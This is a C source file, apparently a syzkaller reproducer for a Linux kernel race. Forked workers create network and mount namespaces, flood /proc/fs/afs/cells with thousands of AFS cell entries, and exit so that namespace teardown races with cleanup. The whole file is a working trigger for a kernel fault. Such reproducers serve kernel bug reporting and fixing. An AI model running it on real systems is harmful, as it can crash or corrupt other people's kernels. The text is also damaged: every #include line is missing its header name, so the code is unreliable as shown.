// https://syzkaller.appspot.com/bug?id=9856a6f0d236cef9c934c679575b538cbe7616d2 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #define NUM_CELLS 2000 #define NUM_WORKERS 4 #define NUM_ITERATIONS 10 void trigger_race(int worker_id) { if (unshare(CLONE_NEWNET | CLONE_NEWNS) < 0) { printf("[-] Worker %d: Failed to unshare: %s\n", worker_id, strerror(errno)); exit(1); } if (mount("none", "/", NULL, MS_REC | MS_PRIVATE, NULL) < 0) { printf("[-] Worker %d: Failed to mount private: %s\n", worker_id, strerror(errno)); exit(1); } if (mount("proc", "/proc", "proc", MS_NOSUID | MS_NODEV | MS_NOEXEC, NULL) < 0) { printf("[-] Worker %d: Failed to mount /proc: %s\n", worker_id, strerror(errno)); exit(1); } int fd = open("/proc/fs/afs/cells", O_WRONLY); if (fd < 0) { // Try to trigger module load mount("afs", "/mnt", "afs", 0, NULL); fd = open("/proc/fs/afs/cells", O_WRONLY); if (fd < 0) { printf("[-] Worker %d: Failed to open /proc/fs/afs/cells: %s\n", worker_id, strerror(errno)); exit(1); } } char buf[128]; for (int i = 0; i < NUM_CELLS; i++) { // Use a unique port for each cell to ensure a new rxrpc_peer is allocated int len = snprintf(buf, sizeof(buf), "add cell%d_%d 127.0.0.1+%d\n", worker_id, i, 7000 + i); if (write(fd, buf, len) < 0) { if (i == 0) { printf("[-] Worker %d: First write failed: %s\n", worker_id, strerror(errno)); } break; } } close(fd); // Exit to trigger network namespace destruction exit(0); } int main() { printf("[*] Starting reproducer...\n"); for (int iter = 0; iter < NUM_ITERATIONS; iter++) { printf("[*] Iteration %d\n", iter); pid_t pids[NUM_WORKERS]; for (int i = 0; i < NUM_WORKERS; i++) { pids[i] = fork(); if (pids[i] < 0) { printf("[-] Failed to fork: %s\n", strerror(errno)); exit(1); } if (pids[i] == 0) { trigger_race(i); } } for (int i = 0; i < NUM_WORKERS; i++) { waitpid(pids[i], NULL, 0); } // Wait for asynchronous cleanup (netns destruction, RCU grace periods, etc.) sleep(2); } printf("[+] Reproducer finished.\n"); return 0; }